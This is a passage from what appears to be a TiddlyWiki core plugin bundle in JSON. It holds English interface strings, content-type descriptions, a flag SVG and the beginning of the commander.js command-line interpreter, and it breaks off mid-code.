"title": "$:/language/Error/EditConflict",
"text": "File changed on server"
},
"$:/language/Error/Filter": {
"title": "$:/language/Error/Filter",
"text": "Filter error"
},
"$:/language/Error/FilterSyntax": {
"title": "$:/language/Error/FilterSyntax",
"text": "Syntax error in filter expression"
},
"$:/language/Error/IsFilterOperator": {
"title": "$:/language/Error/IsFilterOperator",
"text": "Filter Error: Unknown operand for the 'is' filter operator"
},
"$:/language/Error/LoadingPluginLibrary": {
"title": "$:/language/Error/LoadingPluginLibrary",
"text": "Error loading plugin library"
},
"$:/language/Error/NetworkErrorAlert": {
"title": "$:/language/Error/NetworkErrorAlert",
"text": "`<h2>''Network Error''</h2>It looks like the connection to the server has been lost. This may indicate a problem with your network connection. Please attempt to restore network connectivity before continuing.<br><br>''Any unsaved changes will be automatically synchronised when connectivity is restored''.`"
},
"$:/language/Error/RecursiveTransclusion": {
"title": "$:/language/Error/RecursiveTransclusion",
"text": "Recursive transclusion error in transclude widget"
},
"$:/language/Error/RetrievingSkinny": {
"title": "$:/language/Error/RetrievingSkinny",
"text": "Error retrieving skinny tiddler list"
},
"$:/language/Error/SavingToTWEdit": {
"title": "$:/language/Error/SavingToTWEdit",
"text": "Error saving to TWEdit"
},
"$:/language/Error/WhileSaving": {
"title": "$:/language/Error/WhileSaving",
"text": "Error while saving"
},
"$:/language/Error/XMLHttpRequest": {
"title": "$:/language/Error/XMLHttpRequest",
"text": "XMLHttpRequest error code"
},
"$:/language/InternalJavaScriptError/Title": {
"title": "$:/language/InternalJavaScriptError/Title",
"text": "Internal JavaScript Error"
},
"$:/language/InternalJavaScriptError/Hint": {
"title": "$:/language/InternalJavaScriptError/Hint",
"text": "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser"
},
"$:/language/InvalidFieldName": {
"title": "$:/language/InvalidFieldName",
"text": "Illegal characters in field name \"<$text text=<<fieldName>>/>\". Fields can only contain lowercase letters, digits and the characters underscore (`_`), hyphen (`-`) and period (`.`)"
},
"$:/language/LazyLoadingWarning": {
"title": "$:/language/LazyLoadingWarning",
"text": "<p>Trying to load external content from ''<$text text={{!!_canonical_uri}}/>''</p><p>If this message doesn't disappear, either the tiddler content type doesn't match the type of the external content, or you may be using a browser that doesn't support external content for wikis loaded as standalone files. See https://tiddlywiki.com/#ExternalText</p>"
},
"$:/language/LoginToTiddlySpace": {
"title": "$:/language/LoginToTiddlySpace",
"text": "Login to TiddlySpace"
},
"$:/language/Manager/Controls/FilterByTag/None": {
"title": "$:/language/Manager/Controls/FilterByTag/None",
"text": "(none)"
},
"$:/language/Manager/Controls/FilterByTag/Prompt": {
"title": "$:/language/Manager/Controls/FilterByTag/Prompt",
"text": "Filter by tag:"
},
"$:/language/Manager/Controls/Order/Prompt": {
"title": "$:/language/Manager/Controls/Order/Prompt",
"text": "Reverse order"
},
"$:/language/Manager/Controls/Search/Placeholder": {
"title": "$:/language/Manager/Controls/Search/Placeholder",
"text": "Search"
},
"$:/language/Manager/Controls/Search/Prompt": {
"title": "$:/language/Manager/Controls/Search/Prompt",
"text": "Search:"
},
"$:/language/Manager/Controls/Show/Option/Tags": {
"title": "$:/language/Manager/Controls/Show/Option/Tags",
"text": "tags"
},
"$:/language/Manager/Controls/Show/Option/Tiddlers": {
"title": "$:/language/Manager/Controls/Show/Option/Tiddlers",
"text": "tiddlers"
},
"$:/language/Manager/Controls/Show/Prompt": {
"title": "$:/language/Manager/Controls/Show/Prompt",
"text": "Show:"
},
"$:/language/Manager/Controls/Sort/Prompt": {
"title": "$:/language/Manager/Controls/Sort/Prompt",
"text": "Sort by:"
},
"$:/language/Manager/Item/Colour": {
"title": "$:/language/Manager/Item/Colour",
"text": "Colour"
},
"$:/language/Manager/Item/Fields": {
"title": "$:/language/Manager/Item/Fields",
"text": "Fields"
},
"$:/language/Manager/Item/Icon/None": {
"title": "$:/language/Manager/Item/Icon/None",
"text": "(none)"
},
"$:/language/Manager/Item/Icon": {
"title": "$:/language/Manager/Item/Icon",
"text": "Icon"
},
"$:/language/Manager/Item/RawText": {
"title": "$:/language/Manager/Item/RawText",
"text": "Raw text"
},
"$:/language/Manager/Item/Tags": {
"title": "$:/language/Manager/Item/Tags",
"text": "Tags"
},
"$:/language/Manager/Item/Tools": {
"title": "$:/language/Manager/Item/Tools",
"text": "Tools"
},
"$:/language/Manager/Item/WikifiedText": {
"title": "$:/language/Manager/Item/WikifiedText",
"text": "Wikified text"
},
"$:/language/MissingTiddler/Hint": {
"title": "$:/language/MissingTiddler/Hint",
"text": "Missing tiddler \"<$text text=<<currentTiddler>>/>\" -- click {{||$:/core/ui/Buttons/edit}} to create"
},
"$:/language/No": {
"title": "$:/language/No",
"text": "No"
},
"$:/language/OfficialPluginLibrary": {
"title": "$:/language/OfficialPluginLibrary",
"text": "Official ~TiddlyWiki Plugin Library"
},
"$:/language/OfficialPluginLibrary/Hint": {
"title": "$:/language/OfficialPluginLibrary/Hint",
"text": "The official ~TiddlyWiki plugin library at tiddlywiki.com. Plugins, themes and language packs are maintained by the core team."
},
"$:/language/PluginReloadWarning": {
"title": "$:/language/PluginReloadWarning",
"text": "Please save {{$:/core/ui/Buttons/save-wiki}} and reload {{$:/core/ui/Buttons/refresh}} to allow changes to ~JavaScript plugins to take effect"
},
"$:/language/RecentChanges/DateFormat": {
"title": "$:/language/RecentChanges/DateFormat",
"text": "DDth MMM YYYY"
},
"$:/language/SystemTiddler/Tooltip": {
"title": "$:/language/SystemTiddler/Tooltip",
"text": "This is a system tiddler"
},
"$:/language/SystemTiddlers/Include/Prompt": {
"title": "$:/language/SystemTiddlers/Include/Prompt",
"text": "Include system tiddlers"
},
"$:/language/TagManager/Colour/Heading": {
"title": "$:/language/TagManager/Colour/Heading",
"text": "Colour"
},
"$:/language/TagManager/Count/Heading": {
"title": "$:/language/TagManager/Count/Heading",
"text": "Count"
},
"$:/language/TagManager/Icon/Heading": {
"title": "$:/language/TagManager/Icon/Heading",
"text": "Icon"
},
"$:/language/TagManager/Icons/None": {
"title": "$:/language/TagManager/Icons/None",
"text": "None"
},
"$:/language/TagManager/Info/Heading": {
"title": "$:/language/TagManager/Info/Heading",
"text": "Info"
},
"$:/language/TagManager/Tag/Heading": {
"title": "$:/language/TagManager/Tag/Heading",
"text": "Tag"
},
"$:/language/Tiddler/DateFormat": {
"title": "$:/language/Tiddler/DateFormat",
"text": "DDth MMM YYYY at hh12:0mmam"
},
"$:/language/UnsavedChangesWarning": {
"title": "$:/language/UnsavedChangesWarning",
"text": "You have unsaved changes in TiddlyWiki"
},
"$:/language/Yes": {
"title": "$:/language/Yes",
"text": "Yes"
},
"$:/language/Modals/Download": {
"title": "$:/language/Modals/Download",
"subtitle": "Download changes",
"footer": "<$button message=\"tm-close-tiddler\">Close</$button>",
"help": "https://tiddlywiki.com/static/DownloadingChanges.html",
"text": "Your browser only supports manual saving.\n\nTo save your modified wiki, right click on the download link below and select \"Download file\" or \"Save file\", and then choose the folder and filename.\n\n//You can marginally speed things up by clicking the link with the control key (Windows) or the options/alt key (Mac OS X). You will not be prompted for the folder or filename, but your browser is likely to give it an unrecognisable name -- you may need to rename the file to include an `.html` extension before you can do anything useful with it.//\n\nOn smartphones that do not allow files to be downloaded you can instead bookmark the link, and then sync your bookmarks to a desktop computer from where the wiki can be saved normally.\n"
},
"$:/language/Modals/SaveInstructions": {
"title": "$:/language/Modals/SaveInstructions",
"subtitle": "Save your work",
"footer": "<$button message=\"tm-close-tiddler\">Close</$button>",
"help": "https://tiddlywiki.com/static/SavingChanges.html",
"text": "Your changes to this wiki need to be saved as a ~TiddlyWiki HTML file.\n\n!!! Desktop browsers\n\n# Select ''Save As'' from the ''File'' menu\n# Choose a filename and location\n#* Some browsers also require you to explicitly specify the file saving format as ''Webpage, HTML only'' or similar\n# Close this tab\n\n!!! Smartphone browsers\n\n# Create a bookmark to this page\n#* If you've got iCloud or Google Sync set up then the bookmark will automatically sync to your desktop where you can open it and save it as above\n# Close this tab\n\n//If you open the bookmark again in Mobile Safari you will see this message again. If you want to go ahead and use the file, just click the ''close'' button below//\n"
},
"$:/config/NewJournal/Title": {
"title": "$:/config/NewJournal/Title",
"text": "DDth MMM YYYY"
},
"$:/config/NewJournal/Text": {
"title": "$:/config/NewJournal/Text",
"text": ""
},
"$:/config/NewJournal/Tags": {
"title": "$:/config/NewJournal/Tags",
"tags": "Journal"
},
"$:/language/Notifications/Save/Done": {
"title": "$:/language/Notifications/Save/Done",
"text": "Saved wiki"
},
"$:/language/Notifications/Save/Starting": {
"title": "$:/language/Notifications/Save/Starting",
"text": "Starting to save wiki"
},
"$:/language/Notifications/CopiedToClipboard/Succeeded": {
"title": "$:/language/Notifications/CopiedToClipboard/Succeeded",
"text": "Copied to clipboard!"
},
"$:/language/Notifications/CopiedToClipboard/Failed": {
"title": "$:/language/Notifications/CopiedToClipboard/Failed",
"text": "Failed to copy to clipboard!"
},
"$:/language/Search/DefaultResults/Caption": {
"title": "$:/language/Search/DefaultResults/Caption",
"text": "List"
},
"$:/language/Search/Filter/Caption": {
"title": "$:/language/Search/Filter/Caption",
"text": "Filter"
},
"$:/language/Search/Filter/Hint": {
"title": "$:/language/Search/Filter/Hint",
"text": "Search via a [[filter expression|https://tiddlywiki.com/static/Filters.html]]"
},
"$:/language/Search/Filter/Matches": {
"title": "$:/language/Search/Filter/Matches",
"text": "//<small><<resultCount>> matches</small>//"
},
"$:/language/Search/Matches": {
"title": "$:/language/Search/Matches",
"text": "//<small><<resultCount>> matches</small>//"
},
"$:/language/Search/Matches/All": {
"title": "$:/language/Search/Matches/All",
"text": "All matches:"
},
"$:/language/Search/Matches/Title": {
"title": "$:/language/Search/Matches/Title",
"text": "Title matches:"
},
"$:/language/Search/Search": {
"title": "$:/language/Search/Search",
"text": "Search"
},
"$:/language/Search/Search/TooShort": {
"title": "$:/language/Search/Search/TooShort",
"text": "Search text too short"
},
"$:/language/Search/Shadows/Caption": {
"title": "$:/language/Search/Shadows/Caption",
"text": "Shadows"
},
"$:/language/Search/Shadows/Hint": {
"title": "$:/language/Search/Shadows/Hint",
"text": "Search for shadow tiddlers"
},
"$:/language/Search/Shadows/Matches": {
"title": "$:/language/Search/Shadows/Matches",
"text": "//<small><<resultCount>> matches</small>//"
},
"$:/language/Search/Standard/Caption": {
"title": "$:/language/Search/Standard/Caption",
"text": "Standard"
},
"$:/language/Search/Standard/Hint": {
"title": "$:/language/Search/Standard/Hint",
"text": "Search for standard tiddlers"
},
"$:/language/Search/Standard/Matches": {
"title": "$:/language/Search/Standard/Matches",
"text": "//<small><<resultCount>> matches</small>//"
},
"$:/language/Search/System/Caption": {
"title": "$:/language/Search/System/Caption",
"text": "System"
},
"$:/language/Search/System/Hint": {
"title": "$:/language/Search/System/Hint",
"text": "Search for system tiddlers"
},
"$:/language/Search/System/Matches": {
"title": "$:/language/Search/System/Matches",
"text": "//<small><<resultCount>> matches</small>//"
},
"$:/language/SideBar/All/Caption": {
"title": "$:/language/SideBar/All/Caption",
"text": "All"
},
"$:/language/SideBar/Contents/Caption": {
"title": "$:/language/SideBar/Contents/Caption",
"text": "Contents"
},
"$:/language/SideBar/Drafts/Caption": {
"title": "$:/language/SideBar/Drafts/Caption",
"text": "Drafts"
},
"$:/language/SideBar/Explorer/Caption": {
"title": "$:/language/SideBar/Explorer/Caption",
"text": "Explorer"
},
"$:/language/SideBar/Missing/Caption": {
"title": "$:/language/SideBar/Missing/Caption",
"text": "Missing"
},
"$:/language/SideBar/More/Caption": {
"title": "$:/language/SideBar/More/Caption",
"text": "More"
},
"$:/language/SideBar/Open/Caption": {
"title": "$:/language/SideBar/Open/Caption",
"text": "Open"
},
"$:/language/SideBar/Orphans/Caption": {
"title": "$:/language/SideBar/Orphans/Caption",
"text": "Orphans"
},
"$:/language/SideBar/Recent/Caption": {
"title": "$:/language/SideBar/Recent/Caption",
"text": "Recent"
},
"$:/language/SideBar/Shadows/Caption": {
"title": "$:/language/SideBar/Shadows/Caption",
"text": "Shadows"
},
"$:/language/SideBar/System/Caption": {
"title": "$:/language/SideBar/System/Caption",
"text": "System"
},
"$:/language/SideBar/Tags/Caption": {
"title": "$:/language/SideBar/Tags/Caption",
"text": "Tags"
},
"$:/language/SideBar/Tags/Untagged/Caption": {
"title": "$:/language/SideBar/Tags/Untagged/Caption",
"text": "untagged"
},
"$:/language/SideBar/Tools/Caption": {
"title": "$:/language/SideBar/Tools/Caption",
"text": "Tools"
},
"$:/language/SideBar/Types/Caption": {
"title": "$:/language/SideBar/Types/Caption",
"text": "Types"
},
"$:/SiteSubtitle": {
"title": "$:/SiteSubtitle",
"text": "a non-linear personal web notebook"
},
"$:/SiteTitle": {
"title": "$:/SiteTitle",
"text": "My ~TiddlyWiki"
},
"$:/language/Snippets/ListByTag": {
"title": "$:/language/Snippets/ListByTag",
"tags": "$:/tags/TextEditor/Snippet",
"caption": "List of tiddlers by tag",
"text": "<<list-links \"[tag[task]sort[title]]\">>\n"
},
"$:/language/Snippets/MacroDefinition": {
"title": "$:/language/Snippets/MacroDefinition",
"tags": "$:/tags/TextEditor/Snippet",
"caption": "Macro definition",
"text": "\\define macroName(param1:\"default value\",param2)\nText of the macro\n\\end\n"
},
"$:/language/Snippets/Table4x3": {
"title": "$:/language/Snippets/Table4x3",
"tags": "$:/tags/TextEditor/Snippet",
"caption": "Table with 4 columns by 3 rows",
"text": "|! |!Alpha |!Beta |!Gamma |!Delta |\n|!One | | | | |\n|!Two | | | | |\n|!Three | | | | |\n"
},
"$:/language/Snippets/TableOfContents": {
"title": "$:/language/Snippets/TableOfContents",
"tags": "$:/tags/TextEditor/Snippet",
"caption": "Table of Contents",
"text": "<div class=\"tc-table-of-contents\">\n\n<<toc-selective-expandable 'TableOfContents'>>\n\n</div>"
},
"$:/language/ThemeTweaks/ThemeTweaks": {
"title": "$:/language/ThemeTweaks/ThemeTweaks",
"text": "Theme Tweaks"
},
"$:/language/ThemeTweaks/ThemeTweaks/Hint": {
"title": "$:/language/ThemeTweaks/ThemeTweaks/Hint",
"text": "You can tweak certain aspects of the ''Vanilla'' theme."
},
"$:/language/ThemeTweaks/Options": {
"title": "$:/language/ThemeTweaks/Options",
"text": "Options"
},
"$:/language/ThemeTweaks/Options/SidebarLayout": {
"title": "$:/language/ThemeTweaks/Options/SidebarLayout",
"text": "Sidebar layout"
},
"$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid": {
"title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid",
"text": "Fixed story, fluid sidebar"
},
"$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed": {
"title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed",
"text": "Fluid story, fixed sidebar"
},
"$:/language/ThemeTweaks/Options/StickyTitles": {
"title": "$:/language/ThemeTweaks/Options/StickyTitles",
"text": "Sticky titles"
},
"$:/language/ThemeTweaks/Options/StickyTitles/Hint": {
"title": "$:/language/ThemeTweaks/Options/StickyTitles/Hint",
"text": "Causes tiddler titles to \"stick\" to the top of the browser window"
},
"$:/language/ThemeTweaks/Options/CodeWrapping": {
"title": "$:/language/ThemeTweaks/Options/CodeWrapping",
"text": "Wrap long lines in code blocks"
},
"$:/language/ThemeTweaks/Settings": {
"title": "$:/language/ThemeTweaks/Settings",
"text": "Settings"
},
"$:/language/ThemeTweaks/Settings/FontFamily": {
"title": "$:/language/ThemeTweaks/Settings/FontFamily",
"text": "Font family"
},
"$:/language/ThemeTweaks/Settings/CodeFontFamily": {
"title": "$:/language/ThemeTweaks/Settings/CodeFontFamily",
"text": "Code font family"
},
"$:/language/ThemeTweaks/Settings/EditorFontFamily": {
"title": "$:/language/ThemeTweaks/Settings/EditorFontFamily",
"text": "Editor font family"
},
"$:/language/ThemeTweaks/Settings/BackgroundImage": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImage",
"text": "Page background image"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageAttachment": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment",
"text": "Page background image attachment"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll",
"text": "Scroll with tiddlers"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed",
"text": "Fixed to window"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageSize": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize",
"text": "Page background image size"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto",
"text": "Auto"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover",
"text": "Cover"
},
"$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain": {
"title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain",
"text": "Contain"
},
"$:/language/ThemeTweaks/Metrics": {
"title": "$:/language/ThemeTweaks/Metrics",
"text": "Sizes"
},
"$:/language/ThemeTweaks/Metrics/FontSize": {
"title": "$:/language/ThemeTweaks/Metrics/FontSize",
"text": "Font size"
},
"$:/language/ThemeTweaks/Metrics/LineHeight": {
"title": "$:/language/ThemeTweaks/Metrics/LineHeight",
"text": "Line height"
},
"$:/language/ThemeTweaks/Metrics/BodyFontSize": {
"title": "$:/language/ThemeTweaks/Metrics/BodyFontSize",
"text": "Font size for tiddler body"
},
"$:/language/ThemeTweaks/Metrics/BodyLineHeight": {
"title": "$:/language/ThemeTweaks/Metrics/BodyLineHeight",
"text": "Line height for tiddler body"
},
"$:/language/ThemeTweaks/Metrics/StoryLeft": {
"title": "$:/language/ThemeTweaks/Metrics/StoryLeft",
"text": "Story left position"
},
"$:/language/ThemeTweaks/Metrics/StoryLeft/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/StoryLeft/Hint",
"text": "how far the left margin of the story river<br>(tiddler area) is from the left of the page"
},
"$:/language/ThemeTweaks/Metrics/StoryTop": {
"title": "$:/language/ThemeTweaks/Metrics/StoryTop",
"text": "Story top position"
},
"$:/language/ThemeTweaks/Metrics/StoryTop/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/StoryTop/Hint",
"text": "how far the top margin of the story river<br>is from the top of the page"
},
"$:/language/ThemeTweaks/Metrics/StoryRight": {
"title": "$:/language/ThemeTweaks/Metrics/StoryRight",
"text": "Story right"
},
"$:/language/ThemeTweaks/Metrics/StoryRight/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/StoryRight/Hint",
"text": "how far the left margin of the sidebar <br>is from the left of the page"
},
"$:/language/ThemeTweaks/Metrics/StoryWidth": {
"title": "$:/language/ThemeTweaks/Metrics/StoryWidth",
"text": "Story width"
},
"$:/language/ThemeTweaks/Metrics/StoryWidth/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/StoryWidth/Hint",
"text": "the overall width of the story river"
},
"$:/language/ThemeTweaks/Metrics/TiddlerWidth": {
"title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth",
"text": "Tiddler width"
},
"$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint",
"text": "within the story river"
},
"$:/language/ThemeTweaks/Metrics/SidebarBreakpoint": {
"title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint",
"text": "Sidebar breakpoint"
},
"$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint",
"text": "the minimum page width at which the story<br>river and sidebar will appear side by side"
},
"$:/language/ThemeTweaks/Metrics/SidebarWidth": {
"title": "$:/language/ThemeTweaks/Metrics/SidebarWidth",
"text": "Sidebar width"
},
"$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint": {
"title": "$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint",
"text": "the width of the sidebar in fluid-fixed layout"
},
"$:/language/TiddlerInfo/Advanced/Caption": {
"title": "$:/language/TiddlerInfo/Advanced/Caption",
"text": "Advanced"
},
"$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint": {
"title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint",
"text": "none"
},
"$:/language/TiddlerInfo/Advanced/PluginInfo/Heading": {
"title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Heading",
"text": "Plugin Details"
},
"$:/language/TiddlerInfo/Advanced/PluginInfo/Hint": {
"title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Hint",
"text": "This plugin contains the following shadow tiddlers:"
},
"$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading": {
"title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading",
"text": "Shadow Status"
},
"$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint": {
"title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint",
"text": "The tiddler <$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> is not a shadow tiddler"
},
"$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint": {
"title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint",
"text": "The tiddler <$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> is a shadow tiddler"
},
"$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source": {
"title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source",
"text": "It is defined in the plugin <$link to=<<pluginTiddler>>><$text text=<<pluginTiddler>>/></$link>"
},
"$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint": {
"title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint",
"text": "It is overridden by an ordinary tiddler"
},
"$:/language/TiddlerInfo/Fields/Caption": {
"title": "$:/language/TiddlerInfo/Fields/Caption",
"text": "Fields"
},
"$:/language/TiddlerInfo/List/Caption": {
"title": "$:/language/TiddlerInfo/List/Caption",
"text": "List"
},
"$:/language/TiddlerInfo/List/Empty": {
"title": "$:/language/TiddlerInfo/List/Empty",
"text": "This tiddler does not have a list"
},
"$:/language/TiddlerInfo/Listed/Caption": {
"title": "$:/language/TiddlerInfo/Listed/Caption",
"text": "Listed"
},
"$:/language/TiddlerInfo/Listed/Empty": {
"title": "$:/language/TiddlerInfo/Listed/Empty",
"text": "This tiddler is not listed by any others"
},
"$:/language/TiddlerInfo/References/Caption": {
"title": "$:/language/TiddlerInfo/References/Caption",
"text": "References"
},
"$:/language/TiddlerInfo/References/Empty": {
"title": "$:/language/TiddlerInfo/References/Empty",
"text": "No tiddlers link to this one"
},
"$:/language/TiddlerInfo/Tagging/Caption": {
"title": "$:/language/TiddlerInfo/Tagging/Caption",
"text": "Tagging"
},
"$:/language/TiddlerInfo/Tagging/Empty": {
"title": "$:/language/TiddlerInfo/Tagging/Empty",
"text": "No tiddlers are tagged with this one"
},
"$:/language/TiddlerInfo/Tools/Caption": {
"title": "$:/language/TiddlerInfo/Tools/Caption",
"text": "Tools"
},
"$:/language/Docs/Types/application/javascript": {
"title": "$:/language/Docs/Types/application/javascript",
"description": "JavaScript code",
"name": "application/javascript",
"group": "Developer",
"group-sort": "2"
},
"$:/language/Docs/Types/application/json": {
"title": "$:/language/Docs/Types/application/json",
"description": "JSON data",
"name": "application/json",
"group": "Developer",
"group-sort": "2"
},
"$:/language/Docs/Types/application/x-tiddler-dictionary": {
"title": "$:/language/Docs/Types/application/x-tiddler-dictionary",
"description": "Data dictionary",
"name": "application/x-tiddler-dictionary",
"group": "Developer",
"group-sort": "2"
},
"$:/language/Docs/Types/image/gif": {
"title": "$:/language/Docs/Types/image/gif",
"description": "GIF image",
"name": "image/gif",
"group": "Image",
"group-sort": "1"
},
"$:/language/Docs/Types/image/jpeg": {
"title": "$:/language/Docs/Types/image/jpeg",
"description": "JPEG image",
"name": "image/jpeg",
"group": "Image",
"group-sort": "1"
},
"$:/language/Docs/Types/image/png": {
"title": "$:/language/Docs/Types/image/png",
"description": "PNG image",
"name": "image/png",
"group": "Image",
"group-sort": "1"
},
"$:/language/Docs/Types/image/svg+xml": {
"title": "$:/language/Docs/Types/image/svg+xml",
"description": "Structured Vector Graphics image",
"name": "image/svg+xml",
"group": "Image",
"group-sort": "1"
},
"$:/language/Docs/Types/image/x-icon": {
"title": "$:/language/Docs/Types/image/x-icon",
"description": "ICO format icon file",
"name": "image/x-icon",
"group": "Image",
"group-sort": "1"
},
"$:/language/Docs/Types/text/css": {
"title": "$:/language/Docs/Types/text/css",
"description": "Static stylesheet",
"name": "text/css",
"group": "Developer",
"group-sort": "2"
},
"$:/language/Docs/Types/text/html": {
"title": "$:/language/Docs/Types/text/html",
"description": "HTML markup",
"name": "text/html",
"group": "Text",
"group-sort": "0"
},
"$:/language/Docs/Types/text/plain": {
"title": "$:/language/Docs/Types/text/plain",
"description": "Plain text",
"name": "text/plain",
"group": "Text",
"group-sort": "0"
},
"$:/language/Docs/Types/text/vnd.tiddlywiki": {
"title": "$:/language/Docs/Types/text/vnd.tiddlywiki",
"description": "TiddlyWiki 5",
"name": "text/vnd.tiddlywiki",
"group": "Text",
"group-sort": "0"
},
"$:/language/Docs/Types/text/x-tiddlywiki": {
"title": "$:/language/Docs/Types/text/x-tiddlywiki",
"description": "TiddlyWiki Classic",
"name": "text/x-tiddlywiki",
"group": "Text",
"group-sort": "0"
},
"$:/languages/en-GB/icon": {
"title": "$:/languages/en-GB/icon",
"type": "image/svg+xml",
"text": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 60 30\" width=\"1200\" height=\"600\">\n<clipPath id=\"t\">\n\t<path d=\"M30,15 h30 v15 z v15 h-30 z h-30 v-15 z v-15 h30 z\"/>\n</clipPath>\n<path d=\"M0,0 v30 h60 v-30 z\" fill=\"#00247d\"/>\n<path d=\"M0,0 L60,30 M60,0 L0,30\" stroke=\"#fff\" stroke-width=\"6\"/>\n<path d=\"M0,0 L60,30 M60,0 L0,30\" clip-path=\"url(#t)\" stroke=\"#cf142b\" stroke-width=\"4\"/>\n<path d=\"M30,0 v30 M0,15 h60\" stroke=\"#fff\" stroke-width=\"10\"/>\n<path d=\"M30,0 v30 M0,15 h60\" stroke=\"#cf142b\" stroke-width=\"6\"/>\n</svg>\n"
},
"$:/languages/en-GB": {
"title": "$:/languages/en-GB",
"name": "en-GB",
"description": "English (British)",
"author": "JeremyRuston",
"core-version": ">=5.0.0\"",
"text": "Stub pseudo-plugin for the default language"
},
"$:/core/modules/commander.js": {
"title": "$:/core/modules/commander.js",
"text": "/*\\\ntitle: $:/core/modules/commander.js\ntype: application/javascript\nmodule-type: global\n\nThe $tw.Commander class is a command interpreter\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParse a sequence of commands\n\tcommandTokens: an array of command string tokens\n\twiki: reference to the wiki store object\n\tstreams: {output:, error:}, each of which has a write(string) method\n\tcallback: a callback invoked as callback(err) where err is null if there was no error\n*/\nvar Commander = function(commandTokens,callback,wiki,streams) {\n\tvar path = require(\"path\");\n\tthis.commandTokens = commandTokens;\n\tthis.nextToken = 0;\n\tthis.callback = callback;\n\tthis.wiki = wiki;\n\tthis.streams = streams;\n\tthis.outputPath = path.resolve($tw.boot.wikiPath,$tw.config.wikiOutputSubDir);\n};\n\n/*\nLog a string if verbose flag is set\n*/\nCommander.prototype.log = function(str) {\n\tif(this.verbose) {\n\t\tthis.streams.output.write(str + \"\\n\");\n\t}\n};\n\n/*\nWrite a string if verbose flag is set\n*/\nCommander.prototype.write = function(str) {\n\tif(this.verbose) {\n\t\tthis.streams.output.write(str);\n\t}\n};\n\n/*\nAdd a string of tokens to the command queue\n*/\nCommander.prototype.addCommandTokens = function(commandTokens) {\n\tvar params = commandTokens.slice(0);\n\tparams.unshift(0);\n\tparams.unshift(this.nextToken);\n\tArray.prototype.splice.apply(this.commandTokens,params);\n};\n\n/*\nExecute the sequence of commands and invoke a callback on completion\n*/\nCommander.prototype.execute = function() {\n\tthis.executeNextCommand();\n};\n\n/*\nExecute the next command in the sequence\n*/\nCommander.prototype.executeNextCommand = function() {\n\tvar self = this;\n\t// Invoke the callback if there are no more commands\n\tif(this.nextToken >= this.commandTokens.length) {\n\t\tthis.callback(null);\n\t} else {\n\t\t// Get and check the command token\n\t\tvar commandName = this.commandTokens[this.nextToken++];\n\t\tif(commandName.substr(0,2) !== \"--\") {\n\t\t\tthis.callback(\"Missing command: \" + commandName);\n\t\t} else {\n\t\t\tcommandName = commandName.substr(2); // Trim off the --\n\t\t\t// Accumulate the parameters to the command\n\t\t\tvar params = [];\n\t\t\twhile(this.nextToken < this.commandTokens.length && \n\t\t\t\tthis.commandTokens[this.nextToken].substr(0,2) !== \"--\") {\n\t\t\t\tparams.push(this.commandTokens[this.nextToken++]);\n\t\t\t}\n\t\t\t// Get the command info\n\t\t\tvar command = $tw.commands[commandName],\n\t\t\t\tc,err;\n\t\t\tif(!command) {\n\t\t\t\tthis.callback(\"Unknown command: \" + commandName);\n\t\t\t} else {\n\t\t\t\tif(this.verbose) {\n\t\t\t\t\tthis.streams.output.write(\"Executing command: \" + commandName + \" \" + params.join(\" \") + \"\\n\");\n\t\t\t\t}\n\t\t\t\t// Parse named parameters if required\n\t\t\t\tif(command.info.namedParameterMode) {\n\t\t\t\t\tparams = this.extractNamedParameters(params,command.info.mandatoryParameters);\n\t\t\t\t\tif(typeof params === \"string\") 